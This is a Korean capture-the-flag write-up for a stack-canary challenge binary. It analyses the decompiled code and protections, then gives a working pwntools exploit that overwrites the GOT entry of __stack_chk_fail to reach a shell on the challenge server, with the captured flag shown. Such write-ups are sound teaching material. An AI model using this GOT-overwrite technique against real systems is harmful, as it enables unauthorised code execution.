Canary2

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t nbytes; // [rsp+18h] [rbp-228h] BYREF
  _QWORD *v5; // [rsp+20h] [rbp-220h] BYREF
  __int64 v6; // [rsp+28h] [rbp-218h] BYREF
  char buf[520]; // [rsp+30h] [rbp-210h] BYREF
  unsigned __int64 v8; // [rsp+238h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  memset(buf, 0, 0x200uLL);
  setup();
  printf("Size : ");
  __isoc99_scanf("%ld", &nbytes);
  read(0, buf, nbytes);
  printf("Addr : ");
  __isoc99_scanf("%ld", &v5);
  printf("Value : ");
  __isoc99_scanf("%ld", &v6);
  *v5 = v6;
  return 0;
}

int get_shell()
{
  return system("/bin/sh");
}
```

NX와 canary가 적용된 x64 바이너리다.
Size만큼 `read()`를 사용해 값을 쓸 수 있고, 이후 원하는 곳에 원하는 값을 한 번 쓸 수 있다. `read()`의 경우 값의 제한이 없으므로 BOF가 가능하다.
`get_shell()`을 실행하는 것이 목표다.

```
root@18c929a688ee /pwn
❯ ldd bypass_canary_v2
        linux-vdso.so.1 (0x00007ffcca3fd000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8cb30bc000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f8cb32eb000)

root@18c929a688ee /pwn
❯ ldd bypass_canary_v2
        linux-vdso.so.1 (0x00007ffecddf9000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5681fc9000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f56821f8000)
```

ASLR이 적용되어 있는 것도 확인할 수 있다.
따라서 리턴주소에 값을 쓰는 것은 불가능하다.

하지만 PIE가 걸려있지는 않아서 libc base address를 leak할 필요는 없다.

```
.text:0000000000400888                mov     rax, [rbp+var_220]
.text:000000000040088F                mov     rdx, rax
.text:0000000000400892                mov     rax, [rbp+var_218]
.text:0000000000400899                mov     [rdx], rax
.text:000000000040089C                mov     eax, 0
.text:00000000004008A1                mov     rcx, [rbp+var_8]
.text:00000000004008A5                xor     rcx, fs:28h
.text:00000000004008AE                jz      short locret_4008B5
.text:00000000004008B0                call    ___stack_chk_fail
```

카나리를 검사하는 `___stack_chk_fail`의 GOT를 덮어쓰면 될 것 같다.
해당 함수를 덮어쓰고 호출하려면 카나리 값은 틀려야 한다. (같으면 `jz`로 인해 넘어감)

Exploit

```python
from pwn import *

# context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']

p = remote('realsung.kr', 10026)

# p = process('./bypass_canary_v2')
e = ELF('./bypass_canary_v2')

p.recvuntil(b'Size : ')
p.sendline(b'1000')
p.send(b"A"*520 + b"C" * 8)

p.recvuntil(b"Addr : ")
p.sendline(str(0x601018))

p.recvuntil(b"Value : ")
p.sendline(str(0x400799))
pause()

p.interactive()
```

주소랑 값 보내는 데서 삽질을 좀 많이했다. `%ld`로 입력받아서 숫자 그대로 보내야 하는데 바이트로 보내서 발생한 문제였다... 앞으로 주의해야겠다.

```
root@fdacc14c9c71:/pwn# python3 bc_v2.py
[+] Opening connection to realsung.kr on port 10026: Done
[*] '/pwn/bypass_canary_v2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/pwn/bc_v2.py:32: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(0x601018))
/pwn/bc_v2.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(0x400799))
[*] Switching to interactive mode
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ cat flag
flag{ca111111_StacK_chK_FaIl~~!}
```